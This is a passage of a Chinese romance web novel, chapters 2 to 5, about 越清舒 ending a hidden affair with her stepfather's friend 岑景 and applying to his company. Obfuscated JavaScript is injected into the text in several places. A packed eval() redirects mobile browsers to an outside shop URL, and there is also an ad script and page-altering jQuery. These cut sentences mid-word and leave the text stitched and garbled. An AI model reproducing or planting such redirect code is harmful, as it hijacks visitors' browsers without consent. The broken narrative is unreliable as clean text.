《天气预报有雨》 2. [the second day] [the second day] - 事实证明。 越清舒的猜想也只是猜想。 她和岑景,谁都没有真正了解过对方,即便—— 她从十五岁起,就暗恋着眼前这个男人。 即便—— 两年前,他们曾经进入过一段荒唐晦涩的暧昧关系。 岑景其实什么都没问,只是声音往下压,如沉闷的空气:“我过来接你。” 越清舒想过很多她和岑景再次见面的情景。 却没想到是如此轻松的客套与寒暄。 连她自己都觉得这次有些平静到令人诧异,她淡淡地抬眸,望向他。 越清舒甚至连他为什么出现在这里都没问。 她只是顺势抬手,将岑景握着门框的手指一点点掰开,他的语气虽然清冷,但手却握得很紧。 长时间的海上航行和风吹日晒后,越清舒的肤色也比之前黑了好几个度。 小麦色的肌肤与他重叠。 她手指上有一层新生的薄茧,触碰他时像是隔着浅浅的纱,已不再像两年前那般,一碰到,就会有触电般的柔软。 越清舒把岑景的手挪开,准备把房门关上,并没有打算在这个时候叙旧的打算。 “台风快来了。” 我们独自避雨吧。 她的房门门关上。 风声瞬间呼啸。 越清舒依旧不考虑原因,也并没有因为他的出现扰乱太多心神,而是听着窗外的动静,开了一盏小灯。 这还是刚才服务生发来的,安装电池即可使用的小台灯。 外面的世界在承受着暴风骤雨和满世界的不安,但越清舒只是一页页地安静看着书。 下午早些的时候,台风止住,各层的住户也开始陆续离开,越清舒第一时间接到了家里打来的电话。 “小舒啊,有没有吓到?”母亲关心道。 “海上的风浪经常比这个更大,这算不上什么的。”越清舒说,“我一会儿就回来了。” “好,我们已经安排人等下过来接你,昨晚肯定没睡好吧?再休息休息,一会儿人就到了。” 看样子,家里人并不知道岑景来了这里。 越清舒主动提起。 “不用派人来啦。”她说,“刚才碰到岑景小叔了,他说送我回去。” 越清舒了解岑景。 就算她要逃,他也不会同意,他说来接她,就是来接的,岑景就是这么自我且傲慢的人。 “岑景?他怎么会在洲际酒店?”母亲感到疑惑,“昨天你周叔还跟他通话来着,说是在南岸的度假区谈最近的新合作。” 南岸离定州区可谓是穿城的距离。 从那边到她这里,大概需要一个小时,当然,这是交通状况好的情况。 越清舒想到前面工作人员吐槽新办理入住的那位,她敛眸,也只是说:“不清楚,但他们做生意的,两头跑也有可能。” “哎哟,真是个工作狂!这都台风天了,他还能到处跑,不会趁着风眼时间就跑过去了吧!这也太危险了,你一会儿说说他。” 这通电话还没结束,越清舒的房门就又被敲响了。 电话那头的母亲还在念叨着。 “也好,那你就跟岑景一起回来吧,正好晚上大家一起吃个饭,就不用后面再约着了。” 越清舒打开门,看着岑景与来时毫无差别的模样,过路的服务生询问他。 “先生,您也要退房吗?”他分明刚办理入住不过几个小时。 房间整洁得像是没有人住过。 唯一翻动的只有桌子上的书页和用来写宾客意见的纸张。 岑景头也没回,微微颔首:“退。” 越清舒顺路把自己的行李拎出来,垂着眼毫不留情地揭露他的秘密。 “从南岸过来还挺远的。”她顿了顿,唤他,“岑叔叔。” 岑景沉默半秒,顺手接过她的行李,又示意工作人员帮忙搬运下楼。 随后,他对她嗤道:“你这次回来,倒是变聪明了不少。” 越清舒没说话。 她不是变聪明了,只是人有时候会有装疯卖傻的本能,只听自己想听的,做自己想做的。 两年前。 她还愿意喜欢岑景,还愿意留在他身边,所以一直怀揣着少女时代的梦。 众目睽睽之下,他们俩是单纯的前后辈,连身位都不会越界。 但没多一会儿,她上了岑景的车。 越清舒刚系好安全带,就扫到岑景的身影渐渐靠近,他习惯性地用指尖轻摩她的唇。 岑景有个怪癖,就是在接吻之前,要先用手指检查她嘴唇的干湿程度。 过于干燥的时候,他会叫她先喝点水补充水分。 心跳在静谧的空气中骤停半拍。 越清舒微微侧开头,让他的手指扑了个空,只能恰好戳在她唇边的梨涡上。 “你越界了,小叔叔。”她用称呼方式简单拉开两个人之间的关系。 但岑景只是冷嗤了一声。 “越界?” 他伸手摁开电台,又顺手从烟盒里拿了一支烟咬在齿间。 电台音乐恰好响起熟悉的前奏。 是张学友的《偷心》。 一句句、清晰地唱着—— [我不敢再问,是什么改变你的眼神,对爱厌倦,对爱疲惫,对我已没有感觉。] [温柔地缠绵,难道只是一时的气氛。] [是谁偷偷,偷走我的心。] “用手指碰一下你的嘴唇也叫越界。” “那你在我床上叫得那么好听的时候,怎么不叫我从你身上下去?” “主动用那张嘴咬我的时候,怎么不嫌我们的距离太近了?” 金属外壳的打火机在他手里被把玩得哒哒作响,他打开盖子又合上,却始终没有点燃那支烟。 “越清舒。” “真觉得自己翅膀硬了?” 他放她出去两年,让她想做什么就做什么,已经够了。 越清舒听着那“哒哒”声,和慢悠悠唱得如此肝肠寸断的苦情歌。 “没有。” “我只是不再喜欢你了。” “仅此而已。” 不喜欢了,所以想让关系回到正确的轨道上,脱轨这种事情,有一次就够了。 他把玩打火机的动静戛然而止,紧接着而来的是汽车引擎启动的声音。 外面风和日丽,积年的灰尘被吹走,阳光下的世界更为澄澈明丽、绿意盎然。 天气好得仿佛不是刚经历了风暴。 只有倒在路边的树木枝丫和散落的杂物留下了片刻的痕迹。 … 回家以后,越清舒上楼整理行李。 她简单分类一下,跟住家阿姨说:“这些书你就放在桌上,不需要收进书架,衣服我都洗过才带回来的,稍微整理一下褶皱就直接收纳吧。” 她叮嘱完,趴在楼上的栏杆上往下看。 一楼客厅。 岑景正在跟她的继父“周为”聊工作,两人相谈甚欢,时不时互相斟茶。 他们俩是忘年交,关系一直很好,越清舒之所以跟岑景熟悉,也是她继父与他是朋友的缘故。 越清舒一直没下楼,直到晚饭。 难得一聚,饭桌上的话题飘飘忽忽,自然就说到婚姻话题。 “小舒,这次出国,没遇到喜欢的啊?你知道我们不介意的哈哈,国外帅哥也可以啊。” 越清舒吃着菜:“没呢。” 倒不是抗拒,就是没有心动,她心动的阈值好像比别人要高一些。 “哎呀,也差不多该谈恋爱啦,这个年纪刚好合适,谈个两三年,结婚也是最合适的年龄。” 她现在二十六岁,谈个两三年,二十八左右结婚,也刚好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742433|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>越清舒见他们一直聊,干脆把火引给岑景:“那儿还有个三十几的黄金单身汉呢,周叔你要是真的操心,不如先多介绍点对象给你的这位朋友。” 她这战火转移得倒是顺利。 果然都去围着他问。 “岑景,你小子也是,这都三十好几了,这几年是一个姑娘咱们没见着你带。” “你是一个都看不上?” “人非圣贤啊,就没有过一个看得上的?” 此话落下,岑景难得应了一声,他忽然“嗯”了道,越清舒抬眸看向他。 岑景勾起一个耐人寻味的笑,“当然有过。” 她就这么直接地撞入岑景的眼神中。 很多话都在这个眼神中碰撞。 然而在这千般暗涌的空气中,他却只说了句。 “不急。” 这个话题就这么被糊弄过去,饭后,越清舒吃着妈妈递来的橘子,在家人的眼皮子底下给岑景传了几则信息。 两人心照不宣地找理由离开。 “妈,我去门口买个东西。”越清舒说着,“小叔叔陪我去吧。” 没有人对他们的关系产生过怀疑。 毕竟从越清舒的十五岁开始,就如此。 她去做什么事情,都是岑景陪着,比起其他人,岑景跟她的年龄更为接近一些。 刚来沪城的时候,周叔担心她不适应新环境,也跟大人们有代沟不方便说话。 于是,这么多年,一直都是岑景担任这个桥梁的角色。 这条路越走越平静。 刚出家门,她的手就被岑景抓住了,两人并没有走远,还能看见家里的灯火。 夜色浓浓间,她的声音很轻地传递。 “岑景。” “你想接吻吗?” 男人轻嗤了一声,似乎是嘲弄她的耐心也不过如此,以为她还是如当年那般。 一碰到他,就喜欢得难以自持。 只是他的手刚刚碰到她的嘴唇,低头想要吻上去,两人滚烫的呼吸即将交融的那刻。 越清舒的唇却微微动了动。 “你以为我会这样说,是吗?” 以为,她还是跟以前一样,还是见到他就心动。 岑景的动作忽然一顿,垂眼看向她,隐约可见路灯下她浓密睫毛垂下来的阴影。 越清舒连眼睛都没眨一下。 “你敢吗?” “敢告诉他们,我们的关系吗?” 他们甚至不是越界的恋人关系,而是—— 汲取对方,来满足自己身体欲望。 根本见不得光。 她抬手,再一次将他的手一点点掰下来,简简单单地告诉他。 “结束了。”越清舒说,“岑景,别再找我了,你知道应该怎么跟我保持距离才对。” 保持距离本是岑景最擅长做的事。 不管是暧昧不清还是心照不宣,他总是淡然疏离,却又掌控一切。 他总是精明且自私地睁一只眼闭一只眼,只享受和满足自己的欲望。 她微微侧身,脑海中浮现今天的天气和所见所闻。 他们本质上,跟那些饮食男女没有区别。 风暴中片刻的平静,掩埋的是纠缠不清的宿命和永远不会得到结果的悖论。 随意的开始,自然只配得上潦草的收尾。 越清舒转头就要走,却想起一事,再次提醒他。 “家里给我介绍了合适的结婚对象,过一阵子,我就会跟他见面接触。” 她希望他…能识趣。 话说完,越清舒转身离开,徒留岑景在原地驻足。 岑景把下午没点的那支烟给点了,烟雾缭绕间,他看向越清舒决绝离开的背影。 有种莫名的烦躁,像是台风忽然失控的征兆。 心绪缠绕间,他渐渐意识到。 对于越清舒,这段扭曲的关系,是真的结束了。 3. [the third day] [the third day] - 这场宿命的源头要说起,得回到越清舒十五岁那年,但两人正式纠缠在一起,却也只是两年前的事。 2022年的夏天。 越清舒从斯坦福大学毕业。 沪城入夏甚早,不过七月初,已经是接近四十度的酷暑,下飞机时她听着接机口有人抱怨。 “侬早点回国不就好啦?现在好了喏,这天热死个人啦~” “哎呀,妈,好不容易大学毕业了,肯定是要跟朋友们一起去毕业旅行的呀,再说了,反正都是回家吹空调,干嘛那么着急?” 越清舒也去了一趟毕业旅行。 她报了一个去Dana Point观鲸的小型旅游团,恰好五六月有蓝鲸出没。 与隔壁互相抱怨着的母女不同,越清舒看着手机上的信息,确认来接自己的人。 -【小舒,我和你周叔今日实在走不开,有个重要的峰会,抱歉,只能让岑景来接一下你了。】 这是母亲能想到的最合适的人选。 女儿如今毕业回国,自己和丈夫都去不了,这事也不能随便找个人就接了,思来想去,也就岑景靠谱。 两人有五六年没有联系。 越清舒十八岁后,他们俩就没有见过面。 最后一次见面是她十八岁的生日,她跟岑景表白被拒绝。 虽然被他拒绝是一件意料之内的事,但毕竟还是有几分尴尬在的。 岑景在妈妈和叔叔眼中是个非常优秀的人,越清舒也不想让人难堪,便没有拒绝让他来接。 只是她站在人来人往的机场出口,忽然心跳如擂鼓,低头看着干净光滑的机场瓷砖。 实在想不到,回国后见到的第一个“熟人”,会是岑景。 她还以为… 至少短时间内,不会相见。 现在用什么心情看他比较合适? 踌躇之时,她的微信电话骤响,岑景给她打来电话,越清舒接起来,安静地听着。 “到了?”他的语气平静,对她这次久别回国,没有半分波澜。 语气熟练,公事公办。 让人找不出更多的、额外的情绪。 “嗯。” “达到层不方便停车,私家车停车场太大,你也不便于寻找。”岑景淡淡道,“上楼来出发层,我到出发层接你。” 沪城的高温让越清舒的嗓子也有些缺水,她干巴巴地问:“你已经到了吗?” “五分钟后。”岑景用通知的语气说,“我预估了你落地和取行李的时间,到达层不能久留,你现在就上楼。” “……”沉默半秒,越清舒应答,“知道了。” 她搬着自己的超大号行李箱,又去往楼上,路途中有人见她不是很方便的样子,主动提出要帮忙。 “小姐姐,需要我帮你拿行李吗?” “你去哪儿?我帮你。” “你是来沪城转机的吗?怎么这时候从到达层上去?上面是出发层哦。” 对方献殷勤过于明显,越清舒感觉到对方搭讪的意味,拒绝道:“不用了,谢谢。” 上个楼的功夫并不算很费劲,但就这么短暂的一小会儿,她就被搭讪了好几次。 越清舒以前对成长没有什么实感,日历都是一天天翻的,并没有什么特别提醒。 意识到自己已经是个成熟大人的瞬间,是某天越清舒出门,接连着被五个人要联系方式。 她回忆起周遭那些人打量自己的眼神,这才意识到—— 原来自己在他人眼中,已经拥有完整的性吸引力。 她已经被投入这个男人与女人混合筛选的大人世界。 … 足足五年没见过,岑景的车早就换过,但奇怪的是,越清舒还是一眼认出了他的车。 她在岑景下车前,就直接走了过去。 快到的时候,岑景从驾驶座下来帮她拿行李,车门打开的一瞬间,越清舒的心跳漏了半拍。 她微微侧身,头低下去一些,用如此单薄的目光看着他的身影。 越清舒看到自己那个硕大的行李箱,岑景单手轻松一拎,就放进了尾箱。 她的嗓间越发干涩,耳畔伴随着机场里飞机不断降落、起飞的轰鸣声。 “上车。”岑景淡然道。 越清舒选了后排落座,终于在上车以后才抬眸又看了看他,此时的岑景已经三十一岁。 但他的脸上看不出什么岁月的痕迹。 或者说—— 只是比她记忆中更为成熟稳重。 他穿着价值不菲的定制西装,越清舒认识他衣服上别的那枚胸针。 PIAGET ROSE系列。 越清舒的眼神刚刚放过去不久,倏然在后视镜中跟岑景慢悠悠挪过来的目光相撞。 话题是岑景提起的。 他语气轻,且带着半分笑意:“怎么,出去一趟,连小叔叔都不会招呼了?” 岑景不会尴尬或是无措,他对一切都游刃有余,就算他们的最后一面,是他拒绝了她的表白。 他也不会有半点迟疑不决或是多想。 越清舒一愣。 “……小叔叔。”她干巴地唤了一声,不再多说。 恰好手机上来了信息,是她在国外熟络的同学,两人就这么聊起来。 -【舒,安全落地了嘛?报个平安呀!】 -【到啦^ ^爱你。】 -【上车没?我看天气预报,沪城这几天可热了,小心别中暑了,你家里人来接的吧?】 越清舒的手指顿了顿,最后发出去一句。 -【他来接的。】 对面的消息马上开始轰炸,毕竟谁看到八卦,都会突然来劲。 -【他!!】 -【是那个,你喜欢了八年的那位小叔叔?】 这有些明知故问,毕竟在越清舒这里,配得上用一个“他”字来形容的,只有岑景一人。 -【Woc,那你们怎么样啊,你出国前,不是跟他表白了吗?】 -【就你俩人?会不会尴尬啊,啊啊啊啊,宝贝,我都替你觉得脚趾抠地!!】 -【他有什么反应不?】 -【我记得你表白后,你们就没见过面了。】 准确地说,是表白被拒绝后。 越清舒的手指在屏幕上停留半晌,也不知道作何回答,毕竟他们俩现在都还没说上完整的几句话。 尴尬吗? 倒也算不上,毕竟这件事已经过去很多年了。 唯一还留在两人中间的,大概只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742434|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自己,过了这么多年,再见到他的时候,还是会加速的心跳。 这种奇怪的身体反应。 以前越清舒不明白这是什么,直到学到一个新词,叫做“生理性喜欢”。 大脑的情绪和想法都还没传达的时候,身体先感应到了爱。 消息还没回复,耳朵里又传达来了来自前排的问询。 “这次回来,准备做什么?” 但越清舒不是没有计划的人,她回应着:“我回国前给心仪的公司递了offer,虽然家里有人脉,但我没打算用。” “哪家公司?”岑景又问她。 “还没通过,就暂时不透露了。”越清舒说。 她是真的认真筛选过,第一个排除的是周叔的公司,熟人太多了,她知道,就算周叔不打招呼,自己进去以后一定会得到特别的优待。 在差不多类型的选择下,她兜兜转转地给选到了喜莱集团。 越清舒毕竟是斯坦福大学毕业的高材生,自然也不会自降咖位去一些小公司。 她的目标本来就放得大,要去就要去最好的,自家公司被排除在外以后,符合她选择的也就只有喜莱了。 而喜莱现在的CEO不是别人,正是岑景。 虽然她承认自己现在似乎,还是有些喜欢他,但越清舒并不想让岑景给她开后门。 而且她也不是为了他才去喜莱的。 两人对工作上的事情交流完,话题又绕到感情的事上,岑景的语气毫不在乎。 他只是用着长辈的语气打趣询问,巧妙又自然地拉开了两人之间的距离。 “谈对象了么。” 沪城的风沙好像有些大,越清舒瞬间觉得自己眼睛刺痛,她将嗓间那种刺刺的感觉咽了下去。 “没有。” “学习繁忙。” 岑景轻笑了声,“这样。” 他不再追问,话少得可怜。 越清舒不再避开两人相撞的目光,如十八岁那年,同样的清澈直接。 “你呢。” “谈了吗?” 小辈通常不会逾越到这种地步,去问长辈有没有谈恋爱,两人之间心照不宣的秘密差点喷涌。 越清舒知道,岑景可以轻易看穿她的小把戏和小心思,而且她喜欢他这件事,本来就不是什么秘密。 那本就是岑景知道的事情。 车内安静了两秒,岑景忽然笑出声,似乎在答非所问,但其实是在回答的。 “我三十一岁,不是二十一岁。” 他三十一岁。 不可能没有谈过恋爱。 越清舒不再继续追问,毕竟他们之间的事情,是从第一眼开始就注定的结局。 她第一次见岑景的时候,他跟现在的她一个岁数,二十三岁。 她是会长大的,但岑景也会。 横在他们中间的,是亘古不变的整整八岁。 是她好不容易来到了能跟他相近的阶段,岑景就已经到了下一个世界。 越清舒早就熟知这一切,她撑着脸看窗外过路的风景,并没有对此感到十分痛苦或悲伤。 她抬眸看了一眼后视镜,看着他冷淡又疏离的表情。 只是回复了朋友一句。 -【没什么尴尬的,他还是把我当小孩儿。】 4. [the fourth day] [the fourth day] - 喜欢上一个不会有结果的人是什么样的感觉? 大概就是。 就连美梦都不曾做过,她过于清晰地知道前面是死路一条。 在别的女孩在暗恋戏中都还在幻想那么一丝可能性的时候,她仿佛已经捧着漂亮的花走向了悬崖。 即便如此,她还是将自己的心意告诉了岑景,那是她满十八岁的清晨。 表白之前,她已经通过了斯坦福大学的申请,出国一事迫在眉睫。 越清舒收拾行李的时候,没有把这场暗恋也装进去。 岑景一如前几年,问她想要什么生日礼物,她大胆地抬头看过去。 越清舒的目光明亮且直接。 “岑景。” “你能陪我一晚吗?” 她说的陪一晚,是非常字面意思的一晚,那时她刚看完一部名为《爱在黎明破晓前》的浪漫爱情电影。 越清舒觉得,两个人一起散步,是一件非常浪漫的事情。 故事从傍晚开始,在黎明破晓时结束。 于是那天也是同样,越清舒一开始什么都没说,拉着岑景去吃了街边小吃、随便进了一家店打电动。 放肆地笑着,幼稚地比较谁玩得更厉害,那是他们之间距离最近的时刻。 她也叫上他去选新衣服,问他哪条裙子更好看。 路上碰到有街头表演,她都付了钱。 他们沿着河边散步,一直走到尽头的入海口去看日出,看到泥沙堆积的河水浑浊了沉寂的蓝色大海。 太阳初升的那一刻,海风掠起她的发,吹得乱糟糟的,胡乱拍打着脸。 她狼狈却又清醒地回头。 “我喜欢你。” 岑景站在旁边不言不语,点了支烟,烟雾很快就被吹散,却永远有种朦胧蒙在他们之间。 “抱歉。” 两秒后,他善意地提醒她。 “你不应该这样。” 不应该喜欢他,更不应该捅破这层窗户纸。 越清舒淡淡地“嗯”了一声,跟他说她要自己回去,不用送了,她讨要的生日礼物里,不包含要送她回家那一项。 她懂得进退与适可而止。 岑景说,“这不是礼物,我应当送你。” 但越清舒摇了头,拒绝。 “没有应不应当的。” “你答应好周叔照顾我这个小孩子。” “但迈过十二点我就是成年人了,如果从这里回家我都做不到,还怎么自己一个人出国念书啊?” 最后越清舒自己坐了路线最远、最绕的公交车,花了足足三个才到家。 她洗了个澡,一身轻松地将最后一样东西塞进行李箱。 不久后,飞往美国的航班划破天际,云层被冲散后在天空中立下一道淡淡的航迹云。 消散之后,一切荡然无存。 … 回国那天,岑景只是把她送到家,安排了阿姨去给她收拾行李、做饭。 安排好后,他便头也不回地离开。 说是工作忙,就不一起吃饭了。 “我想,你也不是需要别人陪着一起吃饭的年纪了。” 越清舒淡然地点头,看他这样离开,只是无声地笑笑,自己忙自己的事情去了。 的确,她已经习惯一个人吃饭。 孤独并不是一件让人难受的事情,甚至时常令她觉得享受。 那天之后,两人再也没见过面,偶尔提起,是在家里的饭桌上。 周叔经常聊岑景。 毕竟他们是多年的好友,也一直都保持着业务往来。 有时候聊到工作的部分,母亲会轻轻拍一下越清舒的手背,叫她注意听。 毕竟,若是周叔以后退休了,这么大的公司,是要越清舒来接手和操盘的。 虽然越清舒的母亲是二嫁过来的,但周为把越清舒视为己出,把她当成接班人培养。 等到真正该越清舒接手的时候,到时候往来最多的就是喜莱,也就是说,会跟岑景打交道最为密切。 周叔聊起岑景,十句里挑不出半句坏话。 “这小子手段狠呢,不然这些年喜莱的发展也不会那么快,他学习能力强,悟性好。” 不过偶尔也有点叹息。 “就是有时候我都觉得他稍微有点不近人情,骨子里有股傲慢劲儿。” 岑景的傲慢体现在方方面面。 但他这种傲慢也帮他做了很多筛选,优点是帮他排除了一些蠢人和没用的东西。 他这种对某些人和事的蔑视,也让其处事手段更为狠辣。 只是人一旦掉进傲慢的陷阱,稍有不慎,就是自己给自己挖的万丈深渊。 越清舒敛眸吃着饭,忽然含糊道:“他应当吃点亏。” 周叔的筷子停顿,看过来,先没说话,倒是母亲又轻拍了她一下,圆场。 “小舒,说什么呢?周叔是让你学习学习人家的优点,不是叫你在这儿找毛病的。” 但周叔紧接着哈哈笑了两声,给越清舒使了个眼色:“其实吧,我也挺好奇岑景这小子会在哪里栽跟头的。” 岑景有时候挺完美主义的。 越是这种人,越是让人好奇。 没过多久,她收到喜莱的面试邀请,毕竟是斯坦福大学毕业的高材生。 越清舒的简历很漂亮,HR收到的瞬间就感叹,她的简历是这批次来的质量最高的。 倒也不单单是因为学历,毕竟毕业就要进喜莱的市场营销部,他们的要求本身就是高的。 越清舒的简历就是“清爽”、“漂亮”,一眼惹人注目。 外面经常有传言—— 每年那么多高材生毕业到底去哪儿了,为什么市场上那么难招到高质量毕业生? 喜莱会回答,全在我们这儿。 喜莱给应届生开的工资非常非常高,吊打同行接近四十个百分点。 社会上,工作体系跟学生体系完全是两样。 很多高材生只会理论,不会实践,再高的学历放到职场上都像一朵蒲公英。 看着开得好好的,但经不住一点风吹。 所以大部分公司都还是看工作经验和过往的实绩,在别的公司还在挑工作经验的时候… 喜莱已经在高薪拿下优秀的应届毕业生了,他们就愿意进行这个应届生的高风险投资。 当然,也有很多人觉得喜莱疯了。 钱多得没地方花了。 这个价格完全可以去外面挖个有经验的、成熟的员工,而不是培养什么都不确定的应届胚胎。 ——转正了还他妈要涨工资! ——这个世界到底是谁在一毕业就进喜莱工作! ——这种好事什么时候能轮到我! … 周一,喜莱集团例行每周例会。 本周整个集团大厦都笼罩在一种阴郁、沉重的气氛下,他们最大的竞争对手。 “登亚”集团旗下的高端酒店系列,昨天临时发布了个新活动。 说是只要发布前的三个月内预定、住过他们集团旗下酒店的,不管是低端、中端还是高端线。 都只需要提供住宿记录,即可申请本月内新上的高端线酒店的免费体验。 并且该活动,以后都可能会随机掉落福利。 他们的营销当晚就爆炸了。 最搞笑的是,他们的官网预定刚好出现“BUG”,今晚临时补单,时间还能算是在前三个月内下的单。 有人觉得自己发现了大漏洞,开始抱着薅羊毛的心态,连夜下单了登亚酒店最低端那条线的订单。 但登亚铺得最多的就是低端线,他们的比例基本是一百家低端线,一家高端线。 低端线本身一百五一晚的价格直接被炒作到三百上下,有人想着,换个高端线两千块一晚。 赚了。 咬咬牙,三百就三百,三百也定了! 当天就爆单了。 不仅还能给自家高端线当免费广告,还把本来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被喜莱秒杀的中低端线销量给弄上去了。 而且这些人都是冲着薅羊毛来的,根本不在乎去不去住,只在乎能不能免费兑换。 登亚这波空手套白狼,BOSS坐在办公室数钱。 喜莱营销部也爆炸了,忙上忙下。 生怕大BOSS空降营销部,把工资条砸在他们脸上,质问他们拿着业内最高的工资是不是来吃白饭的。 喜莱目前的营销策略走的就是一个稳定路线,集团旗下不仅有酒店线,还有商场、住宅楼盘以及旅游度假等开发。 喜莱的酒店业务一直都是稳定增长的情况,这些年没有收到什么太大的冲击,也没遇到太大的危机。 前面据说登亚那边来了个营销狠人,大家也没怎么放在心上,直到这次… 营销部。 “庞氏骗局的含金量还在持续上升…” “不是,这个世界上的聪明人竟然这么少吗?” “人都是很贪婪的啊,等他们反应过来,都已经上当了!” 这次市场营销部的大危机,整个集团内部气压都低,据说今天大BOSS上班的时候,脸都是黑的。 当然,大家确实也忘了,他们家BOSS脸本来就黑,基本没笑着进来过。 例会上,岑景自然也没放过这事。 他只是扫过去一眼,看了眼CMO:“Vivian,我需要一份更完整的报告,以及你们的处理、应对措施。” Vivian点头。 “好的,岑总,一定办好。” 虽然的确是个大事,但岑景也不爱在这些事情上给太多的注意力,营销部操心的事情,就让他们自己去做。 做好了,他只需要看总结。 会议结束后,岑景回到自己的办公室,等助理汇报其他的情况。 “快递放在门口,记得消毒。”特助汪嘉瑞接了内线,再三提醒。 岑景有轻微的洁癖,别说拿进来了,他甚至无法容忍快递不消毒就放到他办公室附近的过道。 汪嘉瑞安排好这些细节,才进去跟岑景打报告。 不得不说他老板是个忍人,大心脏,这么大的事情,外面的舆论都在为喜莱捏把汗了。 而岑景还也只是慢悠悠的,和往常一样告诉他:“一杯燕麦dirty。” “好的。”汪嘉瑞记下来,“现在开始汇报本周零散的安排可以吗?” “嗯。” 他一条条地往下读,岑景都没有任何异议,神态和动作与往常无异。 只是说到市场营销部的时候,汪嘉瑞看到岑景的手指微动,签文件的动作停顿。 汪嘉瑞自己一个走神,读下一条的时候漏了词。 他说,“岑总,这周市场营销部有一场面试,招聘部门那边特别备注了说,这次有个女生格外漂亮。” 岑景冷哼道:“漂亮是什么需要特别备注的事情吗?” 汪嘉瑞愣了下,想要解释:“不是…” 不是格外漂亮,是简历格外漂亮…他读的时候失误了。 “漂亮?在工作能力和学历面前一文不值。”岑景用冰冷的语气嘲讽,“如果是因为漂亮,现在就把她的简历踢了。” 汪嘉瑞欲哭无泪,又解释:“抱歉boss,我漏词了,是说她简历漂亮。” 岑景:“……” 岑景:“拿过来。” 汪嘉瑞往前迈步,从中间抽出那份简历报告,弯腰递过去。 那张纸递过来之前,岑景的余光模糊扫到一眼,这人的简历排版—— 啧。 好像照片格外显眼。 难怪汪嘉瑞漏词,看来是故意把照片放得很惹人注目。 他轻蔑地勾起唇嘲讽。 单薄的纸张飘忽地落在他的办公桌上。 她的照片的确很显眼,岑景甚至不需要看她的文字资料,只是用目光扫过去。 他看着那张素净却又漂亮的脸蛋。 她的名字就出现在了脑海中。 ——越清舒。 5.[the fifth day] [the fifth day] - 九月下旬。 副热带高压的控制下的高温终于得到缓解。 一场阵雨后,沪城的温度一夜直降了十度,越清舒打了个喷嚏,从衣柜里拿出一件休闲款的小西装外套。 “小舒,出门记得带伞哈。”母亲莘兰提醒道,“这天气随时都可能会下雨。” 越清舒微微点头,应了声好。 家里的雨伞都堆积在入口玄关专门放置的地方,她吃过早饭后准备出门。 毕竟是去新地点面试。 越清舒拒绝了让司机送她过去的提议,选择自己坐公共交通出行。 她一边换鞋,一边跟妈妈搭话。 “妈,三十六号公交的路线还是跟以前一样吗?”她毕竟出国念书了整整六年。 这六年,她鲜少回国。 母亲跟周叔的关系好,越清舒也不曾担心,有时候她甚至觉得… 其实孩子不在身边,对他们来说,也是省心的吧? 毕竟要养一个孩子,需要付出的感情和精力实在太多,而且她到了跟父母最为思维隔阂、分割的年纪,若是长时间住在一起,难免争吵。 再说,她又是莘兰带过去的孩子,跟周为并没有实际血缘关系。 越清舒并不想母亲为此感到有压力。 莘兰既然决定追求新的爱情和家庭,那就让她这么走下去吧。 虽然莘兰经常在电话中表达对她的思念,但越清舒觉得,好像又不是特别在乎她有没有在家。 莘兰从来不催促她回国。 她和母亲之间的关系,总是这样温吞的。 不是不爱,但好像有点淡淡的。 “这我不太清楚,我帮你问问王阿姨。” 王阿姨是她家的煮饭阿姨。 莘兰说罢便回头望去:“王姐,你平时是坐三十六路吗?” “是啊,怎么了?”王阿姨有些震惊。 她在这家干活也是有好几年了,夫妻俩很恩爱,完全看不出是二婚家庭。 她对莘兰的印象就是标准的富太太,十指不沾阳春水,出行有专人接送,大概连公交和地铁线路图都看不懂吧。 “我女儿在问。”莘兰说,“要不你跟她说说?” “成。” 王阿姨放下手中正在切的水果,她擦干手,拿出手机上保存好的线路图给越清舒看。 “三十六路啊,前些年是一直没有变过,就是去年不是十八号线地铁通车了吗?这就把三十六路的路线也改了改。” “以前的路线虽然绕路,但只有三十六路会停靠在每一个老旧的小区啊…” 老城区那边开发地铁困难,巷子幽深又狭窄,车辆一多,要错道都略显拥挤。 所以那边的人大部分时候都选择公交出行。 三十六路就是老沪城中最具代表性的那一路,停靠的站点多,而且都是些老小区。 越清舒听着,忽然问了句:“那始发站也变了吗?” 王阿姨愣了一下。 越清舒继续:“就是入海口,清水湾公交站。” “换啦,那边太远了。”王阿姨这才回答上来,“早就拆了,那个公交站现在都废弃咯,据说之后要招标重建呢…不过…” 她怎么这么清楚? 王阿姨跟越清舒的接触不多,毕竟她来这家的时候,越清舒已经出国。 她对这家女儿的印象,也只是从其他人的口中。 还以为她也是个娇贵大小姐… 越清舒急着出门,没有再与她继续聊下去,伸手拿了角落里的一把黑伞。 “谢谢,我知道了。”越清舒微微颔首,“那我先走了。” 莘兰探过来:“路上小心啊!” 话音刚落,莘兰注意到越清舒拿的那把黑色的长柄伞,她马上又唤住她。 “小舒,这把不太方便吧,你换一个小巧的,也好放进包里呀。” 她去面试,专程背了包来装资料,这个大小的包,用来装一把折叠的小伞也恰到好处。 但越清舒偏偏拿了一把最难拿的长柄伞,并且还是伞柄没有弯绕的一款。 这种伞只适合装在桶里,挂不住,也放不稳。 